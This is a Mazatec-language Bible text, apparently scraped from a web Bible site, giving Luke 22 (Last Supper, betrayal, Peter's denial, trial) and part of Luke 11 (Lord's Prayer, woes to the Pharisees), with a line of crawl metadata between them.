―¿Ñánda mejèn‑lè nga konguí kìndaà‑je̱n? 10Jesús kitsò: ―K'e̱ nga ki̱tjás'e̱n‑jñoò na̱xa̱ndá, ya̱ ska̱kjoò jngoò xi̱ta̱ x'i̱n xi 'yajen jngoò nisa nandá. Tanguítji̱ngui‑là skanda ya̱ ñánda kjoa̱has'en ni'ya. 11Ko̱t'ìn‑là nei‑la̱ ni'ya: \"Jè Maestro kjònangui: ¿Ñánda tíjna cuarto‑la̱ ni'ya ñánda kókje̱n‑koa̱a xi̱ta̱ xi kota'yàt'aà‑na̱ ts'e̱ s'eí Paxko̱?\" 12Xi̱ta̱ jè, ko̱kò jngoò‑nò cuarto xi tiyà kji xi jye ndaà choòn xi ya̱ tíjnasò'nga ni'ya. Ya̱ tìndaà nga ki̱chiaá. 13Jñà xi̱ta̱ koi, kiì; k'oa̱á s'ín kisakò‑la̱ koni s'ín kitsò‑la̱ Jesús. Ya̱á tsibíndaà tsojmì xi ko̱kje̱n kjoa̱ ts'e̱ s'eí Paxko̱. 14K'e̱ nga ijchò hora nga ko̱kje̱n, Jesús tsibìjnat'aà ími̱xa̱ ko̱ xi̱ta̱‑la̱ xi tsibíxáya‑la̱. 15Kitsò‑la̱: ―¡'Ñó tìsìkítsjeèn nga mejèn‑na kókje̱n‑ko̱‑nò ts'e̱ s'eí Paxko̱ nga ti̱kj'eè fì‑na kjoa̱ biyaà! 16K'oa̱á xán‑nò nga mì ti̱ kiì kókje̱en‑na s'eí Paxko̱ skanda k'e̱ nga ki̱tasòn yije kjoa̱ ts'e̱ s'eí Paxko̱ jñà na̱chrjein k'e̱ nga Nainá ko̱tìxoma. 17K'e̱é kiskoé jngoò chi̱tsín, kitsjaà‑la̱ kjo̱ndaà Nainá, kitsò: ―Chjoé, ti̱ka'bí‑là xinguio̱o; 18k'oa̱á xán‑nò nga mì ti̱ kiì ski̱‑na vino skanda k'e̱ nga ko̱tìxoma Nainá. 19I̱kjoàn kiskoé i̱nchra̱jín, kitsjaà‑la̱ kjo̱ndaà Nainá, kisìxkoa̱ya, kitsjaà‑la̱ xi̱ta̱‑la̱, kitsò: ―I̱nchra̱jín jè, yijo‑na̱‑né nga 'a̱án ki̱yá ngajo‑nò. K'oa̱ ti̱s'ín t'e̱en nga ti̱xkoa̱ya i̱nchra̱jín, mé‑ne nga koi̱ìtsjeèn‑nò xi i̱t'aà ts'a̱n. 20K'e̱ nga jye tsakjèn, k'oa̱á ti̱s'ín kis'iìn; kiskoé chi̱tsín, kitsò: ―Chi̱tsín jè, jè‑né xi kjoa̱ xi̱tse̱ xi bìndaàjiìn‑ko̱‑nò xi i̱t'aà ts'e̱ jní‑na̱ xi xíxteèn xi kjo̱ndaà tsa̱jòn nga makixi̱ya kjoa̱. 21I̱í tíjnat'aàko̱‑ná ími̱xa̱, jè xi̱ta̱ xi si̱ìnga̱tsja‑na i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑na̱. 22Xi o̱kixi̱, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tjínè‑na nga ki̱yá. Ta̱nga, ¡i̱ma̱ xó‑ne jè xi̱ta̱ xi si̱ìnga̱tsja‑na! 23Jñà xi̱ta̱‑la̱ tsibíts'ia̱ nga kiskònangui‑la̱ xíkjín, kitsò: ―¿Yá‑né xi k'oa̱s'ín si̱ìnga̱tsja? 24Jñà xi̱ta̱‑la̱ tsajoókjoò xi kjoa̱ ts'e̱ yá‑né xi tíjna ítjòn. 25Jesús kitsò‑la̱: ―Jñà xi̱ta̱xá ítjòn‑la̱ xi mìtsà xi̱ta̱ judío, 'ñó beètoòn xi̱ta̱ na̱xa̱ndá‑la̱, ta̱nga jñà xi̱ta̱xá koi, tsò‑né nga ndaà xi̱ta̱. 26Ta̱nga jñò, mìkiì k'oa̱s'ín s'e̱en. Jè xi tíjna ítjòn, ìsa̱á nangui kàtìjna; jè xi otíxá, tà sa̱á jè kàtama chi̱'nda. 27¿Yá‑né xi tíjna ítjòn? ¿A jè xi bìjnat'aà ími̱xa̱, o xi jè xi bíya tsojmì? ¿A mìtsà jè xi bìjnat'aà ími̱xa̱? Ta̱nga i̱'ndei̱, mìkiì k'oa̱s'ín ko̱ma. 'A̱n, tìjna̱jiìn‑nò koni jngoò xi̱ta̱ chi̱'nda xi síxá‑nò. 28'Skanda kó‑ne nga tàts'en‑la̱ kjoa̱, jñò‑nò xi titsa̱jnako̱ kjit'aà‑ná ni̱ta̱ mé kjoa̱ xi tímat'ian. 29Koií kjoa̱‑la̱ nga 'a̱n siìnga̱tsja‑nò kjo̱tíxoma nga jñò ko̱ti̱xomaà koni s'ín kisìnga̱tsja‑na Nainá xi Na̱'èn‑na̱, 30mé‑ne jñò, ya̱ ki̱chioò ti̱koa̱ s'io̱o ya̱ i̱t'aà ími̱xa̱‑na̱ ñánda tìhotiìxoma, ti̱koa̱ ya̱ ki̱tsa̱jnasòn íxi̱le̱ ts'e̱ kjo̱tíxoma nga jñò, kíndaàjiìn‑là xi̱ta̱ xi tejò tje̱‑la̱ ts'e̱ na̱xa̱ndá Israel. 31Kiìchja̱‑ìsa Na̱'èn‑ná, kitsò: ―Simón, Simón, jè xi̱ta̱ nei̱í kisìjé'nde nga mejèn‑la̱ 'ñó skót'aà‑nò. K'e̱ nga skót'aà‑nò, ya̱á jcha̱‑la̱ yá‑né xi ndaà ko̱ xi mìkiì ndaà, koni s'ín nìko̱ trigo nga matsjeè. 32'Ta̱nga 'a̱n, tsibìtsi'batjì‑lè mé‑ne nga mì jchi̱jat'aà‑lè nga mokjeiín‑lè xi i̱t'aà ts'a̱n. K'e̱ nga jye si̱kátjifaya‑ne xi i̱t'aà ts'a̱n, ti̱si̱koi̱i xingui̱i nga kixi̱ kítsa̱jna. 33Simón kitsò: ―Na̱'èn, tìjna̱ndaà‑ná nga kjíko̱‑lè na̱s'ín nda̱yá k'oín, na̱s'ín skanda ki̱yáko̱‑lè. 34Jesús kitsò‑la̱: ―Ngaji̱ Pedro, k'oa̱á xan‑lè, i̱'ndei̱, jàn k'a k'oa̱ sí nga mìkiì yaxkon‑ná k'e̱ nga ti̱kj'eè kjindáya kóxtí. 35Jesús kiskònangui‑la̱, kitsò‑la̱: ―K'e̱ nga kisìkasén‑nò nga tsanguió nìka'bió 'én‑na̱ nga mìkiì kich'à to̱n, mìkiì kich'à chijtsa, mìkiì xo̱xté kitsjaya, ¿mé xi kisìchjaàt'aà‑nò? Jñà xi̱ta̱ kitsò: ―Ni̱mé‑jèn. 36K'e̱é kitsò‑la̱: ―I̱'ndei̱, jè xi tjín‑la̱ chijtsa to̱n, kàtakjoé; ti̱koa̱ jè xi tjín‑la̱ na̱'ya kàtakjoé; ko̱ jè xi tsjìn‑la̱ ki̱cha̱ ndojò, kàtatíjna na̱chro̱kisòn‑la̱ koa̱ kàtatse ki̱cha̱‑la̱. 37K'oa̱á xán‑nò nga tjínè‑la̱ nga ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n xi tjít'aà 'Én Tsjeè‑la̱ Nainá xi i̱t'aà ts'a̱n nga tsò: \"K'oa̱á s'ín skoe̱‑ikon koni jngoò xi̱ta̱ xi mìkiì ndaà s'ín.\" Koni s'ín tíchja̱ 'Én Tsjeè‑la̱ Nainá xi i̱t'aà ts'a̱n, ki̱tasòn yije‑né. 38Jñà xi̱ta̱‑la̱ kitsò: ―Na̱'èn, kjioò jò‑naje̱n ki̱cha̱ ndojò i̱jndé. Jè Jesús kitsò: ―Kàtje kjoa̱. 39Jesús kiì nga kiìchja̱t'aà‑la̱ Nainá ya̱ ñánda 'mì nindoò Yá Olivo koni s'ín s'ín kjit'aà; i̱kjoàn kiìtji̱ngui xi̱ta̱ xi kota'yàt'aà‑la̱. 40K'e̱ nga ijchò i̱'nde jè, kitsò‑la̱ xi̱ta̱‑la̱: ―Tìtsi'ba‑là Nainá mé‑ne nga mì jé ska̱jñoò. 41K'e̱é tsasìt'aà xìn chiba‑la̱ koni kji saté jngoò nda̱jo̱ k'e̱ jngoò xi̱ta̱ osén. Tsasèn‑xkó'nchi, i̱kjoàn kiìchja̱t'aà‑la̱ Nainá. 42Kitsò: ―Na̱'èn, tsà mejèn‑lè, chja̱àxìn‑ná kjo̱'in jè; ta̱nga mìtsà jè ki̱tasòn 'én‑na̱, jè kàtabitasòn tsi̱ji. 43K'e̱ nga tíchja̱t'aà‑la̱ Nainá tsatsejèn jngoò àkja̱le̱‑la̱ Nainá xi inchrobà‑ne ngajmiì nga kitsjaà‑ìsa‑la̱ nga'ñó. 44Nga tse kjo̱'in tísíkjeiín ini̱ma̱‑la̱, ìsa̱á 'ñó kiìchja̱t'aà‑la̱ Nainá; chi̱ba̱‑la̱ kitjoòndá‑né, jè ndátsjèya‑la̱ xi chixòt'aà nangui, jní kjoàn. 45K'e̱ nga jye kiìchja̱t'aà‑la̱ Nainá, kiì ìjngoò k'a‑ne ñánda títsa̱jna xi̱ta̱ xi kota'yàt'aà‑la̱. Ta̱nga k'e̱ nga ijchò, jyeé kjiyijòfè, koií kjoa̱‑la̱ nga 'ñó 'on ma‑la̱ ini̱ma̱‑la̱. 46Kitsò‑la̱: ―¿Mé‑ne titsa̱yijòfè‑nò? Ti̱sítje̱en, tìtsi'ba‑là Nainá mé‑ne nga mì jé ska̱jñoò. 47Tákó ti̱k'e̱é tíchja̱‑ìsa Jesús, kjìn xi̱ta̱ ijchò; jè tsó'ba ítjòn Judas, xi ya̱ itjojiìn ts'e̱ xi̱ta̱‑la̱ Jesús xi tejò ma‑ne. K'e̱ nga ijchò, kiì kasìt'aà chrañà‑la̱ Jesús nga kiskine'a. 48Jè Jesús kitsò‑la̱: ―Ngaji̱ Judas, ¿a k'oa̱á s'ín tà jngoò kjoa̱ xi chine'aá nìnga̱tsja‑ná 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱? 49Jñà xi̱ta̱‑la̱ xi i'nga, k'e̱ nga kijtseè kjoa̱ xi ko̱mat'in Jesús, kitsò: ―Na̱'èn, ¿a mejèn‑lè nga ki̱ch'on‑je̱n ki̱cha̱ ndojò? 50Jngoò xi̱ta̱‑la̱ Jesús tsajá‑la̱ ki̱cha̱ ndojò jè chi̱'nda‑la̱ no̱'miì ítjòn, tsatet'aà líká kixi̱‑la̱. 51K'e̱é kitsò Jesús: ―¡Kì k'oa̱á nìko̱o, kàtje kjoa̱! I̱kjoàn tsohót'aà‑la̱ tsja líká‑la̱; ni̱to̱ón kjòndaà‑ne. 52K'e̱é kitsò‑la̱ jñà xi̱ta̱ xi j'iìkjaá xi xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi síkinda̱ i̱ngo̱ ítjòn ko̱ xi̱ta̱ jchínga: ―¿Mé‑ne k'oa̱s'ín kà'nè‑nò nga ki̱cha̱ machìti̱n ko̱ yá kich'à koni tsà jngoò xi̱ta̱ chijé kòf'ìi̱chjaà? 53Na̱chrjein inchijòn tsohóti̱jnako̱‑nò ya̱ ndi̱tsin i̱ngo̱ ítjòn; ¿mé‑ne nga mìkiì ya̱ kindobà'ñó‑ná? Koií kjoa̱‑la̱ nga jè hora jè nga jñò choòn, tsa̱jòn‑nò k'e̱ nga jè xi̱ta̱ nei̱í tíhotíxoma. 54Jesús, kitsobà'ñó xi̱ta̱, kiìko̱ ni'ya‑la̱ no̱'miì ítjòn. Jè Pedro, tà kjiìn tà kjiìn tsajmeètji̱ngui‑la̱. 55Ya̱ jngoò osen ndi̱tsin, jñà xi̱ta̱ tsibítse jngoò ni'ín, i̱kjoàn tsibìtsa̱jna'ngui jngoò itjandiì. Ti̱koa̱ jè Pedro tsibìjnajiìn‑la̱ xi̱ta̱. 56K'e̱é jngoò chjo̱ón chi̱'nda kijtseèxkon Pedro nga tíjna'ngui; kiskoò'an, kitsò: ―Xi̱ta̱ jè, ti̱koa̱á ya̱á tsóhoko̱ Jesús. 57Ta̱nga jè Pedro tsoho'mat'in‑né, kitsò: ―Ngaji̱ chjo̱ón, xi̱ta̱ jè, mìkiì bexkoan. 58Xi komà ìjngoò tjò, nguì jngoò xi̱ta̱ kijtseèxkon Pedro, kitsò‑la̱: ―Ti̱koa̱á ngaji̱, ya̱á tjaàkoi̱i Jesús. K'e̱é kitsò Pedro: ―Ngaji̱ x'i̱in, mìtsà ya̱ tsòhokoa̱a. 59Nga komà i̱skan, tjín‑la̱ tsà jngoò hora, ti̱koa̱á 'ñó o̱kitsò nguì jngoò xi̱ta̱: ―Kixi̱í kjoa̱, xi̱ta̱ jè, ya̱á tsóhoko̱, ti̱koa̱á ya̱á i̱'nde‑la̱ Galilea. 60Pedro kitsò: ―Ngaji̱ x'i̱in, mìkiì be mé 'én xi ko̱'mì‑la̱. Ti̱k'e̱é‑ne tíchja̱ Pedro kiskindàya kóxtí. 61Kisìkátjifaya Na̱'èn‑ná Jesús, kiskoòtsejèn‑la̱ Pedro. K'e̱é tsibítsjeèn‑la̱ Pedro 'én xi kitsò‑la̱ Na̱'èn‑ná Jesús nga kitsò‑la̱: \"Jàn k'a k'oa̱ sí nga mìkiì yaxkon‑ná k'e̱ nga ti̱kj'eè kjindáya kóxtí.\" 62Jè Pedro, k'e̱é itjo ni'ya, i̱kjoàn 'ñó jchán kiskindàya nga 'on komà‑la̱ ini̱ma̱‑la̱. 63Jñà xi̱ta̱ xi nchisíkinda̱ Jesús, kisìsobà‑la̱ ti̱koa̱ tsajá‑la̱. 64Tsibíchjoà xko̱n, i̱kjoàn kiskònangui‑la̱, kitsò‑la̱: ―¡Koa̱tìn‑náje̱n yá xi tí'beé‑lè! 65Kjìn kjoa̱ tjín‑ìsa xi kj'ei̱í xi 'ñó 'on kitsò‑la̱. 66K'e̱ nga kis'e i̱sén, kjòxkóya jñà xi̱ta̱ jchínga ts'e̱ xi̱ta̱ judío, xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés; kiìko̱ Jesús ya̱ ñánda maxkóya jñà xi̱ta̱xá ítjòn; i̱kjoàn kiskònangui‑la̱, kitsò‑la̱: 67―Koa̱tìn‑náje̱n, ¿a ngaji̱‑né xi Cristo, [xi xó kisìkasén‑lè Nainá], o xi majìn‑né? Jesús kitsò: ―Tsà k'oa̱ xán‑nò: \"'A̱n‑ná\", mìkiì ko̱kjeiín‑nò. 68Tsà 'a̱n skònangui‑nò, jñò, mìkiì ki̱nókjoa̱a ti̱koa̱á mìkiì si̱kíjnandei̱í‑ná. 69Jyeé ijchò hora‑la̱ nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ ya̱á kóti̱jnat'aà kixi̱‑la̱ Nainá xi 'ñó tse nga'ñó tjín‑la̱. 70Ngats'iì xi̱ta̱ kitsò: ―¿A ngaji̱‑né xi Ki'ndí‑la̱ Nainá 'mì‑lè? Jesús kitsò‑la̱: ―Jñò sobà xi o̱bixón nga 'a̱n‑ná. 71K'e̱é kitsò jñà xi̱ta̱: ―¿Yá xi̱ta̱ xi mochjeén‑ìsa̱‑ná xi tsja 'én? Jñá sobá titsa̱na'yà‑lá koni s'ín tíchja̱‑ne tso'ba.\nSan Lucas 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/22","date":"2013-12-07T22:24:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055855\/warc\/CC-MAIN-20131204131735-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":1342,"character_repetition_ratio":0.062,"word_repetition_ratio":0.009,"special_characters_ratio":0.24,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jngoò k'a, Jesús tíjna jngoò i̱'nde ñánda tíchja̱t'aà‑la̱ Nainá; k'e̱ nga jye kiìchja̱t'aà‑la̱, jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱: ―Na̱'èn, ta̱kóya‑náje̱n kó s'ín ki̱nókjoa̱t'aà‑la̱je̱n Nainá koni s'ín kis'iìn Juan nga tsakóya‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱. 2Jesús kitsò‑la̱: ―K'e̱ nga ki̱nókjoa̱t'aà‑là, k'oa̱á s'ín tixón: Na̱'èn xi tijni ngajmiì, kàtayaxkón‑la̱ kjoa̱jeya‑lè nga tsjeè tijni. Kàtjanchrobá kjo̱tíxoma‑lè. K'oa̱s'ín kàtama i̱ i̱t'aà nangui koni s'ín mejèn‑lè nga ko̱ma, koni s'ín ma ján ngajmiì. 3Tjiì kjit'aà‑náje̱n ni̱ño̱ xi mochjeén‑naje̱n nga na̱chrjein inchijòn. 4Ti̱jchàat'aà‑náje̱n jé‑na̱je̱n koni s'ín nìjchàat'aà‑la̱je̱n ngats'iì xi̱ta̱ xi ch'o síko̱‑naje̱n. Kì kiì biì'ndi yá xi mejèn‑la̱ nga kot'aà‑naje̱n nga ki̱nchátsji jé‑je̱n. 5Jesús kitsò‑ìsa‑la̱: ―Jñò, tsà tjín jngoò‑nò amigo, tsà osen ni̱tje̱n onguíchoòn, tsà k'oín‑là: \"Amigo, ti̱kìña jàn‑ná i̱nchra̱jín‑lè, 6jngoò amigo‑na̱ kòf'iìkon‑na koa̱ tsjìn‑na mé xi tsjaà‑la̱.\" 7Tsà jè amigo xi tíjna i̱nga ni'ya, tsà ki̱tso̱: \"Kì 'a̱n nìjti‑ná. Jè xotjoa̱ ni'ya jyeé tíchjoàjto. Jñà ndí i̱xti‑na̱ ko̱ 'a̱n jyeé kinìkjáya‑je̱n. Mìkiì ko̱ma kósi̱tje̱en nga tsjaà‑lè tsojmì xi mochjeén‑lè.\" 8K'oa̱á xán‑nò, na̱s'ín majìn‑la̱ nga osítje̱n nga amigo tsa̱jòn, tsà 'ñó si̱siì‑là, chaán ko̱sítje̱n. Tsjá yije mé xi mejèn‑nò. 9'K'oa̱á xan‑nò: Ti̱jé mé xi mejèn‑nò, jè Nainá tsjá‑nò; ti̱nchátsjioò Nainá, sakó‑nò; ti̱nókjoa̱t'aà‑là Nainá mé xi mejèn‑nò mé‑ne skíx'a̱'nde‑nò koni jngoò xotjoa̱. 10Ngats'iì xi̱ta̱ xi síjé, tjoé‑la̱, jè xi ótsji, sa̱kò‑la̱ ko̱ jè xi chja̱t'aà‑la̱ Nainá, tjáx'a̱'nde‑la̱ koni jngoò xotjoa̱. 11'Jñò xi na̱'èn 'mì‑nò, tsà i̱nchra̱jín si̱ìjé‑nò i̱xti‑nò, ¿a nda̱jo̱ó k'oi̱‑là? Majìn. Koa̱ tsà ti̱n si̱ìjé‑nò, ¿a ye̱é k'oi̱‑là? Majìn. 12Tsà chjo̱ó si̱ìjé‑nò, ¿a cho̱ na'yá k'oi̱‑là? Majìn. 13Jñò, na̱s'ín xi̱ta̱ xi ch'o 'nè, ma‑nò 'biì‑là i̱xti‑nò tsojmì xi ndaà kjoàn; jè Na̱'èn‑nò xi tíjna ngajmiì, ìsa̱á ni̱to̱n si̱ìs'in‑nò nga tsjá‑nò Ini̱ma̱ Tsjeè‑la̱ tsà jñò si̱jét'aà‑là. 14Jesús, tíhochrjejiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ jngoò xi̱ta̱ xi mìkiì ma chja̱. Xi̱ta̱ jè, k'e̱ nga jye itjokàjiìn jè ini̱ma̱ ch'o‑la̱ nei̱í, komà kiìchja̱‑ne. Jñà xi̱ta̱ xi nchikotsejèn, tà kjòxkón‑la̱ jè kjoa̱ jè. 15Ta̱nga tjín i'nga xi̱ta̱ xi kitsò: ―Jè xi̱ta̱ sko̱‑la̱ xi̱ta̱ nei̱í xi 'mì Beelzebú, jè tsjá‑la̱ nga'ñó nga k'oa̱s'ín ochrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. 16Tjín i'nga xi̱ta̱ xi mejèn‑la̱ skót'aà tsà kixi̱ kjoa̱ nga Nainá kisìkasén Jesús; kisìjé jngoò‑la̱ seña xi jeya tjín xi i̱t'aà ts'e̱ Nainá nchrobá‑ne. 17Jesús, ti̱k'e̱é kijtseèya‑la̱ koni s'ín nchisíkítsjeèn xi̱ta̱ koi, kitsò‑la̱: ―Ngats'iì na̱xa̱ndá xi jòya tjín nga kondra̱ títsa̱jna‑la̱ xíkjín, ti yijo‑la̱á tísíkixòña‑ne; ti̱koa̱á tsà jngoò ni'ya xi̱ta̱ xi jòya tjín nga kondra̱ títsa̱jna‑la̱ xíkjín ti̱koa̱á jngoò k'a tsjohoba xi̱ta̱. 18Tsà ti̱koa̱ jè xi̱ta̱ nei̱í, tsà jòya tís'ín xi ti̱jè‑ne yijo‑la̱. ¿Kós'ín ko̱ma s'e̱‑la̱ nga'ñó nga ko̱tìxoma? Jñò, bixón‑nò nga 'a̱n, ko̱ó nga'ñó‑la̱ Beelzebú ochrjekàjñaà ini̱ma̱ ch'o‑la̱ nei̱í. 19Tsà k'oa̱s'ín tjín kjoa̱, jñà xi̱ta̱ tsa̱jòn, ¿yá xi tsjá‑la̱ nga'ñó k'e̱ nga ochrjekàjiìn nei̱í? Koií kjoa̱‑la̱, ti̱jñà‑ne xi̱ta̱‑nò ke̱èno̱jmí nga mìtsà kixi̱ kjoa̱ nga jè sko̱‑la̱ nei̱í sìkjeén. 20Ta̱nga 'a̱n, k'e̱ nga ochrjekàjñaà ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱, jè Nainá tsjá‑na nga'ñó. Jè kjoa̱ koi tsòyaá‑ne nga Nainá, jyeé i̱ tíhotíxoma i̱ i̱t'aà nangui. 21'K'e̱ nga jngoò xi̱ta̱ xi tjín‑la̱ nga'ñó ko̱ tjín‑la̱ ki̱cha̱, ko̱ ndaà síkinda̱ ni'ya‑la̱, ndaà jncha tsojmì xi tjín‑la̱. 22Ta̱nga tsà kjoi̱í jngoò xi kj'ei̱í xi̱ta̱ xi ìsa̱ tse nga'ñó tjín‑la̱, si̱ìkijne‑la̱, kjoa̱á'an yije ki̱cha̱ xi ma'ñót'aà takòn, i̱kjoàn si̱ìjòya yije tsojmì xi tjín‑la̱; kji̱ko̱‑né. 23'Ni̱to̱n yá xi̱ta̱‑ne xi mì 'a̱n fìt'aà‑na, jè‑né xi kondra̱‑na̱; koa̱ ni̱ta̱ yá xi̱ta̱‑ne xi mìkiì síchját'aà‑na nga bíxkóyako̱‑na xi̱ta̱ xi ts'a̱n ko̱ma, jè tísítsjohoba xi̱ta̱. 24'K'e̱ nga jngoò ini̱ma̱ ch'o‑la̱ nei̱í bitjokàjiìn ini̱ma̱‑la̱ jngoò xi̱ta̱, ya̱á ojmeè i̱'nde ñánda kixì choòn, ótsji'nde nga si̱ìkjáya. K'e̱ nga mìkiì sakó'nde‑la̱, ìjngoò k'a síkítsjeèn, tsò: \"Kjín‑la ìjngoò k'a‑na̱ ni'ya‑na̱ ñánda inchrobà‑na.\" 25K'e̱ nga bijchó ìjngoò k'a‑ne ni'ya‑la̱, beè nga ndaà kisatiìcha ko̱ tsjeè choòn. 26I̱kjoàn fìkjaá nguì itoò xíkjín xi ìsa̱ ch'o s'ín. K'e̱é fahas'en‑jiìn ini̱ma̱‑la̱ xi̱ta̱ jè; ya̱á bìtsa̱jna. Xi̱ta̱ jè, ìsa̱á 'ñó ch'o bìjna koni s'ín tsibìjna nga sa̱ ítjòn. 27Ti̱k'e̱‑né nga tíbéno̱jmí Jesús jñà kjoa̱ koi, kiìchja̱ jngoò chjo̱ón xi ya̱ tíjnajiìn‑la̱ xi̱ta̱ kjìn, 'ñó kiìchja̱, kitsò: ―¡Mé tà ndaà‑la̱ jè chjo̱ón xi kisìkatsejèn‑lè i̱sò'nde ti̱koa̱ kisìkaki‑lè! 28Jesús kitsò: ―¡Ìsa̱á ndaà‑la̱ jñà xi̱ta̱ xi 'nchré 'én‑la̱ Nainá, ti̱koa̱ síkitasòn! 29K'e̱ nga jye kòkjìn xi̱ta̱ ñánda tíjna Jesús, tsibíts'ia̱ nga kitsò: ―Xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱, ch'oó s'ín; síjé jngoò seña xi i̱t'aà ts'e̱ Nainá, ta̱nga ni̱jngoò seña skoe̱. Tà jè skoe̱ seña ts'e̱ Jonás. 30Koni s'ín komàt'in Jonás, jñà xi̱ta̱ na̱xa̱ndá Nínive kijtseè jngoò kjo̱xkón xi ndaà tjín, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'oa̱á ti̱s'ín tjín jè kjoa̱ xi sa̱ ko̱mat'ian; jñà xi̱ta̱ xi tjín i̱'ndei̱ skoe̱é kjo̱xkón xi ndaà tjín. 31Jè chjo̱ón ítjòn xi ya̱ otíxoma nangui sur, ko̱sítje̱n‑né jè na̱chrjein k'e̱ nga koi̱ìndaàjiìn Nainá; jè tsját'in 'én jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱, koií kjoa̱‑la̱ nga kjiìn nangui j'iì‑ne nga j'iì 'nchré‑la̱ kjoa̱chji̱ne̱‑la̱ Salomón; ta̱nga na̱chrjein i̱'ndei̱, 'a̱n xi tìchjàko̱‑nò, ìsa̱á 'ñó jeya tìjna̱a mì k'oa̱á‑ne koni Salomón. 32Jñà xi̱ta̱ na̱xa̱ndá Nínive ko̱sítje̱n‑né jè na̱chrjein k'e̱ nga koi̱ìndaàjiìn Nainá; jñà tsját'in 'én jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱, koií kjoa̱‑la̱ nga kisìkájno jé‑la̱ nga mì ti̱ jé tsohótsji‑ne k'e̱ nga kiìchja̱ya 'én‑la̱ Nainá Jonás; ta̱nga na̱chrjein i̱'ndei̱, 'a̱n xi tìchjàko̱‑nò, ìsa̱á 'ñó jeya tìjna̱a mì k'oa̱á‑ne koni Jonás. 33'Ni̱jngoò xi̱ta̱ xi síkíjna'ma k'e̱ nga jngoò ni'ín bít'a'í. Mìtsà kaxa̱ síkíjnangui; síkíjna'nga‑né, candelero síkíjnaya mé‑ne nga ko̱hiseèn yije‑la̱ xi̱ta̱ xi fahas'en ni'ya. 34Jñà xkoaán, jè ma ni'ín xi síhiseèn‑la̱ yijo‑ná; k'e̱ nga ndaà tsejèn‑ná, iseèn choòn yije‑la̱ yijo‑ná; ta̱nga tsà mìkiì ndaà tsejèn‑la̱ xkoiìn, jñò choòn‑la̱ yijo‑lè. 35Ndaà chítsejìn, ¿a ndaà tíjna ini̱ma̱‑lè? ¿A iseèn choòn‑la̱? ¿A xi jñò choòn‑la̱? 36Tsà iseèn choòn kóho̱kji yijo‑lè, tsà mì ñánda tjít'aà xi jñò choòn, ndaà ko̱tsejìn k'oa̱á ngaya‑la̱ koni tsà jngoò ni'ín xi 'ñó títì tísíhiseèn‑lè. 37K'e̱ nga jye kiìchja̱ Jesús, jngoò xi̱ta̱ fariseo kiìchja̱‑la̱ nga mejèn‑la̱ ko̱kje̱n‑ko̱ ya̱ ni'ya‑la̱. K'e̱ nga jahas'en ni'ya Jesús, tsibìjnat'aà ími̱xa̱. 38Jè xi̱ta̱ fariseo, tà k'oa̱á komà‑la̱ nga kijtseè nga jè Jesús, mìkiì kisìhitasòn kjo̱tíxoma xi xkón tjín, mìkiì tsaníjno tsja nga tsakjèn. 39Kiìchja̱ Na̱'èn‑ná Jesucristo, kitsò‑la̱: ―Jñò, xi xi̱ta̱ fariseo 'mì‑nò, onìjnoò chi̱tsín‑nò ko̱ chro̱ba̱‑nò ya̱ i̱sò'nga‑la̱, ta̱nga i̱jiìn ini̱ma̱‑nò, 'ñó fahajiìn‑nò nga chjaà'an‑là tsojmì‑la̱ xi̱ta̱ xi kj'ei̱í ti̱koa̱á binchaàtsjioò kjoa̱ xi ch'o tjín. 40Jñò xi xi̱ta̱ tòndo̱ 'mì‑nò. ¿A mì tíjiìn‑nò: Nainá, k'e̱ nga tsibíndaà i̱sò'nga yijo‑la̱ xi̱ta̱, ti̱koa̱á ti̱jè‑ne xi tsibíndaà ini̱ma̱‑la̱? 41Tjiì‑là xi̱ta̱ i̱ma̱ kjo̱ndaà xi tíjiìn ini̱ma̱‑nò mé‑ne nga tsjeè ki̱tsa̱jnaà nguixko̱n Nainá. 42'¡I̱ma̱ xó‑nò xi xi̱ta̱ fariseo 'mì‑nò! Nga ma‑nò bíchjí‑là Nainá xi teya oko̱‑la̱ ts'e̱ xka̱ menta ko̱ xka̱ ruda ngats'iì xka̱ xi ma chine, ta̱nga mìkiì kjoa̱ kixi̱ nìko̱o xi̱ta̱; mìkiì tjòcha 'yaà Nainá. Koií kjoa̱ xi 'ñó mochjeén nga ki̱tasòn; ti̱koa̱á mochjeén‑né nga ki̱tasòn jñà kjoa̱ xi i'nga. 43'¡I̱ma̱ xó‑nò xi xi̱ta̱ fariseo 'mì‑nò! Nga mejèn‑nò nga jñò ki̱tsa̱nè íxi̱le̱ xi jncha ítjòn ya̱ ni'ya i̱ngo̱ sinagoga, ti̱koa̱á mejèn‑nò nga skoe̱xkón‑nò xi̱ta̱ xi kj'ei̱í, ndaà si̱ìxat'aà‑nò ya̱ ndi̱tsi̱n. 44'¡I̱ma̱ xó‑nò jñò xi̱ta̱ xi okoòya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi xi̱ta̱ fariseo 'mì‑nò xi jò ma 